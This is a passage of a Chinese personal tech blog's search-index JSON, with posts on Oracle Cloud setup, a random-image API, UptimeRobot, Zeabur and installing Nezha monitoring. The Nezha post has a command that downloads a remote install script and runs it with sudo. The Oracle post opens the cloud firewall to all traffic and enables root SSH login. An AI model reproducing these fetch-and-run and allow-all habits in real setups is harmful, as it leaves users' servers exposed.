同时满足以下条件，则虚拟机和裸金属计算实例会被视为闲置：\nCPU 使用率（95 百分位数）低于 20%\n网络使用率低于 20%\n内存使用率低于 20%（仅适用于 A1 规格）\n在这里可以选择是否附加 IPv4 和 IPv6 地址，其中， IPv6 地址的附加功能取决于是否在VCN附加了 IPv6前缀\n在这里可以更改IO配置，直接拉满即可\n在这里可以更改SSH相关配置\n一路下一步，验收无误后点击 创建\n重装系统\u0026amp;删除实例 虽然甲骨文可以通过 更换引导盘 来进行重装系统，但更建议直接将实例删除。然后重新开一个\n选中你要删除的实例，选择 终止 即可。随后实例状态会变为 已终止\n此时资源就已经释放了，你可以重新再创建一台机子了\n更改防火墙 我直接改为全允许，我更喜欢在Linux服务器上配置 ufw 来实现防火墙 不过由于甲骨文依赖于网络启动，ufw配置出现问题可能会起不来机子\n前往 https://cloud.oracle.com/networking/vcns ，进入你刚刚创建的VCN，导航栏点击 安全 找到这个\n导航栏继续找到 安全规则 我直接全放行\n使用SSH连接实例 前往 https://cloud.oracle.com/compute/instances 可以看到 公共IP ，携带你的 SSH私钥 通过 22 端口 连接服务器即可\n改root登录 如果你使用root直接登录，会提示\n意为： 请使用名为 debian 的用户登录而不是 root 用户\n那我们就听他的，想把登录名改为 debian\n再次尝试，成功登录了\n首先提权为 root\nsudo -i 接着编辑root用户的ssh公钥文件，以允许直接使用root登录\nnano /root/.ssh/authorized_keys Ctrl+K 删除第一行的警告，并且重新写入你的SSH公钥\nCtrl+X 保存并退出，然后重启 sshd\nsystemctl restart sshd 重新使用 root 登录，成功\n自动脚本抢arm机 我们制作了一个 基于Cloudflare Worker 的自动抢机脚本 https://github.com/afoim/oci_auto_cfworker\n如果你在创建实例的时候选择arm，并且最后创建的时候提示\n可用性域 VM.Standard.A1.Flex 中配置 AD-1 的容量不足。请在其他可用性域中创建实例，或稍后重试。如果指定了容错域，请尝试在不指定容错域的情况下创建实例。如果这样不起作用，请稍后重试。了解有关主机容量的更多信息。\n字面意思，我们可以依靠一个自动脚本来无限重试\n前往 https://cloud.oracle.com/identity/domains/my-profile/auth-tokens 点击 添加API密钥 并 下载私有密钥（只能下一次） ，然后会弹出 配置文件预览 ，复制它，后面要用\n克隆仓库 chacuavip10/oci_auto\n编辑 config 内的内容，将内容清空，粘贴上一步的 配置文件预览 的内容。但是确保最后一行为\nkey_file=oci_private_key.pem 前往 https://cloud.oracle.com/compute/instances/create 再次尝试创建一个arm机子，并且F12抓包，查看该包的详情\n对号入座填写 oci_auto.py 内的内容\n安装依赖\napt install python3 apt install pip pip install oci requests 运行\npython3 oci_auto.py 即可自动抢机子，可能几个月后，你的账户下就会多一台arm了（？\n","permalink":"https://blog.2x.nz/posts/oci/","summary":"\u003ch1 id=\"老天保佑我不要abc\"\u003e老天保佑我不要ABC\u003c/h1\u003e\n\u003cp\u003e首先是IP，\u003cstrong\u003e不要开任何魔法！\u003c/strong\u003e 直连即可，你在哪就用哪里的网络\u003c/p\u003e\n\u003cp\u003e其次是地址填写，建议两个地址都写，一行写中文，一行写英文（翻译即可）\u003c/p\u003e\n\u003cp\u003e然后是付款，最简单就是拿你自己的卡进行注册\u003c/p\u003e\n\u003cp\u003e直接去你家旁边的银行开一个 \u003cstrong\u003e外币卡\u003c/strong\u003e ，如 \u003cstrong\u003eVisa\u003c/strong\u003e \u003cstrong\u003e万事达\u003c/strong\u003e 即可\u003c/p\u003e\n\u003cp\u003e然后换汇为 \u003cstrong\u003e新加坡元\u003c/strong\u003e ，甲骨文虽然仅扣款 \u003cstrong\u003e1.38 新加坡元\u003c/strong\u003e ，但建议存10个以上，因为有些行对于低余额可能会拒付，并且甲骨文后续也会尝试小额扣款验证卡的真实性\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e[!caution]\n不要用虚拟卡，预付卡，甲骨文不支持，强行尝试还会黑你自己的IP！！！\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch1 id=\"区域选择\"\u003e区域选择\u003c/h1\u003e\n\u003cp\u003e注册的时候会让你选择一个账户主区域，选择后 \u003cstrong\u003e不可更改\u003c/strong\u003e ，我选择的是 \u003cstrong\u003eJapan East (Tokyo)\u003c/strong\u003e 。由于甲骨文的arm免费机是需要抢的，你选择的区域越热门，能抢到arm机子的概率就越低\u003c/p\u003e\n\u003ch1 id=\"安全性\"\u003e安全性\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003ca href=\"https://cloud.oracle.com/identity/domains/my-profile/security\"\u003ehttps://cloud.oracle.com/identity/domains/my-profile/security\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e建议启用 \u003cstrong\u003e两步验证\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e使用你的移动设备下载一个甲骨文App 然后扫码即可（实际上就是一个联网的TOTP）\u003c/p\u003e\n\u003cp\u003e又或者你可以勾选 \u003cstrong\u003e离线验证\u003c/strong\u003e 就可以使用一个离线的TOTP，通过 Bitwarden 等验证器来导入了，无需下载甲骨文的专有软件\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/oci/img/2025-09-08-00-07-32-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e如果需要更改密码，它在这里\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/oci/img/2025-09-08-00-08-48-image.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"没有debian系统\"\u003e没有Debian系统？\u003c/h1\u003e\n\u003cp\u003e如果你前往 \u003ca href=\"https://cloud.oracle.com/compute/instances/create\"\u003ehttps://cloud.oracle.com/compute/instances/create\u003c/a\u003e 尝试创建实例。会发现没有 \u003cstrong\u003eDebian\u003c/strong\u003e 映像 。我们可以通过最下面 \u003cstrong\u003e我的映像\u003c/strong\u003e 来上传自己的自定义映像，详细步骤往下看\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/oci/img/2025-09-08-00-12-08-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e写在前面，如果你需要往甲骨文上传自定义映像，你需要先将自定义映像上传到你 \u003cstrong\u003e甲骨文账户下的对象存储\u003c/strong\u003e ，随便找一个对象存储上传是不行的！！！\u003c/p\u003e\n\u003cp\u003e首先下载适用于云的Debian映像，进入 \u003ca href=\"https://www.debian.org/distrib\"\u003e下载 Debian\u003c/a\u003e ，找到 \u003cstrong\u003e使用 Debian 云镜像\u003c/strong\u003e 分别下载\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e64 位 AMD/Intel (\u003ca href=\"https://cloud.debian.org/images/cloud/trixie/latest/debian-13-generic-amd64.qcow2\" title=\"用于 64 位 AMD/Intel 的 OpenStack 镜像，qcow2\"\u003eqcow2\u003c/a\u003e, \u003ca href=\"https://cloud.debian.org/images/cloud/trixie/latest/debian-13-generic-amd64.raw\" title=\"用于 64 位 AMD/Intel 的 OpenStack 镜像，raw\"\u003eraw\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e64 位 ARM (\u003ca href=\"https://cloud.debian.org/images/cloud/trixie/latest/debian-13-generic-arm64.qcow2\" title=\"用于 64 位 ARM 的 OpenStack 镜像，qcow2\"\u003eqcow2\u003c/a\u003e, \u003ca href=\"https://cloud.debian.org/images/cloud/trixie/latest/debian-13-generic-arm64.raw\" title=\"用于 64 位 ARM 的 OpenStack 镜像，raw\"\u003eraw\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/oci/img/2025-09-08-00-17-19-image.webp\"\u003e\u003c/p\u003e","title":"Oracle（甲骨文云）踩坑记录"},{"content":"API端点 门户： https://pic.072103.xyz\n门户里面的API端点： https://hpic.072103.xyz https://vpic.072103.xyz （CF Worker）\n博客用的API端点： https://eopfapi.acofork.com/pic?img=ua （EdgeOne Pages Functions）\n新版实现 图源存放EdgeOne Page，EdgeOne Pages Functions作为入口，当收到请求后首先区分 横屏、竖屏、自适应，即 ?img=h ?img=v ?img=ua ，随后返回其内部存储的相应图片，关于更多详情，请参考源码： EdgeOne_Function_PicAPI/functions/pic.js at main · afoim/EdgeOne_Function_PicAPI\n旧版实现 利用 cnb.cool 存储图片eopf做中间代理\n旧旧版实现 在Cloudflare R2被刷了 7千万次（GET）请求 并且扣款 28.08 USD（折合人民币 207.93 CNY） 后废弃\n图源全部存在 Cloudflare R2，全部采用 Webp 格式，仅分类为 横屏、竖屏 ，如图\nAPI就拿我正投入使用的 https://eopfapi.acofork.com/pic?img=ua 来说\n看域名也可以看出来，这是一个 EdgeOne Pages Functions 服务（下文简称 eopf ），什么？你问为什么用这个？那当然是因为！ 目前所有功能完全免费！\n源码在 afoim/EdgeOne_Function_PicAPI: 适用于EdgeOne边缘函数的随机图API\n原理为让 eopf 连接上 Cloudflare R2 然后随机拿一张图出来。没错！就这么简单！\n上文提到的另一个CF Worker端点原理也一样，只不过CF内部连接R2就不用手搓S3鉴权了\n","permalink":"https://blog.2x.nz/posts/acg-randompic-api/","summary":"\u003ch1 id=\"api端点\"\u003eAPI端点\u003c/h1\u003e\n\u003cp\u003e\u003cdel\u003e门户： \u003ca href=\"https://pic.072103.xyz\"\u003ehttps://pic.072103.xyz\u003c/a\u003e\u003c/del\u003e\u003c/p\u003e\n\u003cp\u003e\u003cdel\u003e门户里面的API端点： \u003ca href=\"https://hpic.072103.xyz\"\u003ehttps://hpic.072103.xyz\u003c/a\u003e \u003ca href=\"https://vpic.072103.xyz\"\u003ehttps://vpic.072103.xyz\u003c/a\u003e （CF Worker）\u003c/del\u003e\u003c/p\u003e\n\u003cp\u003e博客用的API端点： \u003ca href=\"https://eopfapi.acofork.com/pic?img=ua\"\u003ehttps://eopfapi.acofork.com/pic?img=ua\u003c/a\u003e （EdgeOne Pages Functions）\u003c/p\u003e\n\u003ch1 id=\"新版实现\"\u003e新版实现\u003c/h1\u003e\n\u003cp\u003e图源存放EdgeOne Page，EdgeOne Pages Functions作为入口，当收到请求后首先区分 横屏、竖屏、自适应，即 \u003ccode\u003e?img=h\u003c/code\u003e \u003ccode\u003e?img=v\u003c/code\u003e \u003ccode\u003e?img=ua\u003c/code\u003e ，随后返回其内部存储的相应图片，关于更多详情，请参考源码： \u003ca href=\"https://github.com/afoim/EdgeOne_Function_PicAPI/blob/main/functions/pic.js\"\u003eEdgeOne_Function_PicAPI/functions/pic.js at main · afoim/EdgeOne_Function_PicAPI\u003c/a\u003e\u003c/p\u003e\n\u003ch1 id=\"旧版实现\"\u003e旧版实现\u003c/h1\u003e\n\u003cp\u003e利用 cnb.cool 存储图片eopf做中间代理\u003c/p\u003e\n\u003ch1 id=\"旧旧版实现\"\u003e旧旧版实现\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e在Cloudflare R2被刷了 \u003cstrong\u003e7千万次（GET）请求\u003c/strong\u003e 并且扣款 \u003cstrong\u003e28.08 USD（折合人民币 207.93 CNY）\u003c/strong\u003e 后废弃\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e图源全部存在 \u003cstrong\u003eCloudflare R2\u003c/strong\u003e，全部采用 \u003cstrong\u003eWebp\u003c/strong\u003e 格式，仅分类为 \u003cstrong\u003e横屏、竖屏\u003c/strong\u003e ，如图\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/acg-randompic-api/img/2025-08-31-04-13-08-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/acg-randompic-api/img/2025-08-31-04-13-17-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003eAPI就拿我正投入使用的 \u003ca href=\"https://eopfapi.acofork.com/pic?img=ua\"\u003ehttps://eopfapi.acofork.com/pic?img=ua\u003c/a\u003e 来说\u003c/p\u003e\n\u003cp\u003e看域名也可以看出来，这是一个 \u003cstrong\u003eEdgeOne Pages Functions\u003c/strong\u003e 服务（下文简称 \u003cstrong\u003eeopf\u003c/strong\u003e ），什么？你问为什么用这个？那当然是因为！ \u003cstrong\u003e目前所有功能完全免费！\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/acg-randompic-api/img/2025-08-31-04-18-45-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e源码在 \u003ca href=\"https://github.com/afoim/EdgeOne_Function_PicAPI\"\u003eafoim/EdgeOne_Function_PicAPI: 适用于EdgeOne边缘函数的随机图API\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e原理为让 \u003cstrong\u003eeopf\u003c/strong\u003e 连接上 \u003cstrong\u003eCloudflare R2\u003c/strong\u003e 然后随机拿一张图出来。没错！就这么简单！\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e上文提到的另一个CF Worker端点原理也一样，只不过CF内部连接R2就不用手搓S3鉴权了\u003c/em\u003e\u003c/p\u003e","title":"公开架构，我的二次元随机图API是怎么做的"},{"content":"正式开始 首先我让AI写一个批量重命名插件\n编写一个重命名的脚本（Python） 让我通过 python xxx.py (目录) 传入一个目录，然后将内部的所有文件按照 1 2 3 4 5这样重命名，保留原后缀 然后AI写出来了，但是有一个交互\n是否要对 xxx 进行批量重命名（Y/N）： 我就让他删掉\n不要交互，直接运行 然后又出现了新问题，如果有一个文件，比如 100.webp 已经存在，然后在Python的默认排序中，100.webp 可能并不是第 100 个，也就是说会有别的文件将要被重命名为 100.webp 然后代码对于这样的文件会直接跳过，这就会导致重命名不完全\n那么我就说\n不要跳过 强制重命名 然后新的问题出现了：如果已经有一个文件为 100.webp 是无法将另一个文件也重命名为 100.webp 的，会报错\n重命名文件 \u0026#39;716.webp\u0026#39; 失败: [WinError 183] 当文件已存在时，无法创建该文件。: \u0026#39;C:\\\\Users\\\\acofork\\\\Pictures\\\\r1\\\\ri\\\\h\\\\716.webp\u0026#39; -\u0026gt; \u0026#39;C:\\\\Users\\\\acofork\\\\Pictures\\\\r1\\\\ri\\\\h\\\\744.webp\u0026#39; 那么最后，我用了一个绝妙的办法\n将所有文件随机命名\n重新排序\n依次重命名\n于是我继续说\n先全部命名为 随机数，然后再重新命名 这下就对了\n","permalink":"https://blog.2x.nz/posts/rename/","summary":"\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e首先我让AI写一个批量重命名插件\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e编写一个重命名的脚本（Python）\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e让我通过 python xxx.py \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e目录\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e传入一个目录，然后将内部的所有文件按照 \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e 5这样重命名，保留原后缀\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后AI写出来了，但是有一个交互\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e是否要对 xxx 进行批量重命名（Y/N）：\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e我就让他删掉\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e不要交互，直接运行\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后又出现了新问题，如果有一个文件，比如 \u003ccode\u003e100.webp\u003c/code\u003e 已经存在，然后在Python的默认排序中，\u003ccode\u003e100.webp\u003c/code\u003e 可能并不是第 \u003cstrong\u003e100\u003c/strong\u003e 个，也就是说会有别的文件将要被重命名为 \u003ccode\u003e100.webp\u003c/code\u003e 然后代码对于这样的文件会直接跳过，这就会导致重命名不完全\u003c/p\u003e\n\u003cp\u003e那么我就说\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e不要跳过 强制重命名\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e然后新的问题出现了：如果已经有一个文件为 \u003ccode\u003e100.webp\u003c/code\u003e 是无法将另一个文件也重命名为 \u003ccode\u003e100.webp\u003c/code\u003e 的，会报错\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e重命名文件 \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;716.webp\u0026#39;\u003c/span\u003e 失败: \u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003eWinError 183\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e 当文件已存在时，无法创建该文件。: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;C:\\\\Users\\\\acofork\\\\Pictures\\\\r1\\\\ri\\\\h\\\\716.webp\u0026#39;\u003c/span\u003e -\u0026gt; \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;C:\\\\Users\\\\acofork\\\\Pictures\\\\r1\\\\ri\\\\h\\\\744.webp\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e那么最后，我用了一个绝妙的办法\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e将所有文件随机命名\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e重新排序\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e依次重命名\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e于是我继续说\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e先全部命名为 随机数，然后再重新命名\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e这下就对了\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/rename/img/2025-09-06-02-06-32-image.webp\"\u003e\u003c/p\u003e","title":"记录一下批量重命名插件咋写的"},{"content":"正式开始 进入 https://dashboard.uptimerobot.com/\n注册一个账号，然后开始创建监控。免费计划最多50个监控，仅支持 HEAD 请求，不支持更改请求头和请求体，最低轮询冷却为 5 分钟。不支持 IPv6\n然后点击 Status pages 创建展示页面\n建议设置为自动添加，这样就无需手动将监控一个个添加到页面，你的账户下每创建一个新的监控都会实时同步到你的展示页上\n配置完毕后， 在 Public status page, hosted on 后就是你的监控展示页面\n","permalink":"https://blog.2x.nz/posts/uptimerobot/","summary":"\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e进入 \u003ca href=\"https://dashboard.uptimerobot.com/\"\u003ehttps://dashboard.uptimerobot.com/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e注册一个账号，然后开始创建监控。免费计划最多\u003cstrong\u003e50\u003c/strong\u003e个监控，仅支持 \u003ccode\u003eHEAD\u003c/code\u003e 请求，不支持更改请求头和请求体，最低轮询冷却为 5 分钟。\u003cstrong\u003e不支持 IPv6\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e然后点击 \u003ccode\u003eStatus pages\u003c/code\u003e 创建展示页面\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/uptimerobot/img/2025-09-04-04-10-47-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e建议设置为自动添加，这样就无需手动将监控一个个添加到页面，你的账户下每创建一个新的监控都会实时同步到你的展示页上\u003c/p\u003e\n\u003cp\u003e配置完毕后， 在 \u003ccode\u003ePublic status page, hosted on\u003c/code\u003e 后就是你的监控展示页面\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/uptimerobot/img/2025-09-04-04-13-19-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/uptimerobot/img/2025-09-04-04-15-31-image.webp\"\u003e\u003c/p\u003e","title":"UptimeRobot，无需自托管的服务监控！"},{"content":"这是个啥？ 它可以连接你的VPS（前提，CPU≥1c，RAM≥2G）。然后在你的机子上面跑服务，包括\n正式开始 进入 My Servers - Zeabur\n点击创建\n点击添加自己的服务器\n阅读要求，继续\n填写SSH连接信息，让Zeabur连接到你的服务器\n之后会开始安装k3s等工具，我们将不再需要手动SSH登入服务器了，直接在Zeabur的网页上配置即可！\n接下来我们可以尝试部署服务，Zeabur将服务部署到你自托管的服务器是不收费的\n请自由发挥！\n","permalink":"https://blog.2x.nz/posts/zeabur/","summary":"\u003ch1 id=\"这是个啥\"\u003e这是个啥？\u003c/h1\u003e\n\u003cp\u003e它可以连接你的VPS（前提，CPU≥1c，RAM≥2G）。然后在你的机子上面跑服务，包括\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/zeabur/img/2025-09-03-06-54-43-5b8f9673e031a723ab2fb8a262d384d2.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e进入 \u003ca href=\"https://zeabur.com/servers\"\u003eMy Servers - Zeabur\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e点击创建\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/zeabur/img/2025-09-03-06-55-36-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e点击添加自己的服务器\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/zeabur/img/2025-09-03-06-55-47-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e阅读要求，继续\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/zeabur/img/2025-09-03-06-56-01-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e填写SSH连接信息，让Zeabur连接到你的服务器\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/zeabur/img/2025-09-03-06-56-30-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e之后会开始安装k3s等工具，我们将不再需要手动SSH登入服务器了，直接在Zeabur的网页上配置即可！\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/zeabur/img/2025-09-03-06-57-08-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e接下来我们可以尝试部署服务，Zeabur将服务部署到你自托管的服务器是不收费的\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/zeabur/img/2025-09-03-06-57-41-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/zeabur/img/2025-09-03-06-57-52-image.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e请自由发挥！\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/zeabur/img/2025-09-03-06-54-43-5b8f9673e031a723ab2fb8a262d384d2.webp\"\u003e\u003c/p\u003e","title":"想玩k3s？Zeabur来帮你！"},{"content":" 官方教程： https://nezha.wiki/\n安装面板端（Dashboard） 面板端即WebUI，同时也接受后端连接。用户和面板连接使用WebSocket，后端和面板端使用gRPC通信\ncurl -L https://raw.githubusercontent.com/nezhahq/scripts/refs/heads/main/install.sh -o nezha.sh \u0026amp;\u0026amp; chmod +x nezha.sh \u0026amp;\u0026amp; sudo ./nezha.sh 默认端口为 8008\n在 请指定安装命令中预设的 nezha-agent 连接地址 （例如 example.com:443） 填写你的 VPS IP:8008 。当然，你也可以套CDN，如果套CDN则填写 CDN域名:443 ，请确保你的CDN支持gRPC通信。本人不推荐后端和面板通信使用CDN\n请输入站点标题: Nezha - AcoFork 请输入暴露端口: (默认 8008) 请指定安装命令中预设的 nezha-agent 连接地址 （例如 example.com:443）46.232.60.28:8008 是否希望通过 TLS 连接 Agent？（影响安装命令）[y/N]n 请指定后台语言 1. 中文（简体） 2. 中文（台灣） 3. English 请输入选项 [1-3]1 接下来，你应该可以在 8008 端口进入哪吒探针的WebUI\n点击登录，默认账密均为 admin\n首先我们先更改管理员账密，鼠标移到右上角头像，点击 个人信息\n然后点击 更新个人资料 更改管理员账密\n安装后端（Agent） 打开哪吒探针的WebUI，在服务器一栏可以找到安装命令，选择对应系统的，然后前往终端执行即可。稍后你将会看到一个随机名称的新服务器上线\n如果你的服务器在中国大陆，可能无法连接上 raw.githubusercontent.com 。推荐使用镜像 raw.gitmirror.com 即可\n配置服务 哪吒探针也支持类似UptimeKuma那种的服务监测，支持HTTP Ping TCP，具体参见导航栏的服务\n这里添加的所有服务，都可以借用已添加到哪吒探针的服务器进行监测\n配置通知 哪吒探针支持配置通知，以在服务宕机等情况及时通知你，详见 通知设置 | 哪吒服务器监控\n疑难解答 我套了CDN，服务器可以成功上线，但是获取到的IP为内网IP：请在系统设置中配置真实IP请求头\n我使用Cloudflare CDN，服务器始终无法上线。原因不明，但是可以通过部署该项目解决 yumusb/nezha-new\n","permalink":"https://blog.2x.nz/posts/nezha/","summary":"\u003cblockquote\u003e\n\u003cp\u003e官方教程： \u003ca href=\"https://nezha.wiki/\"\u003ehttps://nezha.wiki/\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch1 id=\"安装面板端dashboard\"\u003e安装面板端（Dashboard）\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e面板端即WebUI，同时也接受后端连接。用户和面板连接使用WebSocket，后端和面板端使用gRPC通信\u003c/p\u003e\u003c/blockquote\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecurl -L https://raw.githubusercontent.com/nezhahq/scripts/refs/heads/main/install.sh -o nezha.sh \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e chmod +x nezha.sh \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e sudo ./nezha.sh\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e默认端口为 8008\u003c/p\u003e\n\u003cp\u003e在 \u003ccode\u003e请指定安装命令中预设的 nezha-agent 连接地址 （例如 example.com:443）\u003c/code\u003e 填写你的 \u003ccode\u003eVPS IP:8008\u003c/code\u003e 。当然，你也可以套CDN，如果套CDN则填写 \u003ccode\u003eCDN域名:443\u003c/code\u003e ，请确保你的CDN支持gRPC通信。本人不推荐后端和面板通信使用CDN\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e请输入站点标题: Nezha - AcoFork\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e请输入暴露端口: \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e默认 8008\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e请指定安装命令中预设的 nezha-agent 连接地址 （例如 example.com:443）46.232.60.28:8008\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e是否希望通过 TLS 连接 Agent？（影响安装命令）\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003ey/N\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003en\n\u003c/span\u003e\u003c/span\u003e\u003cspan 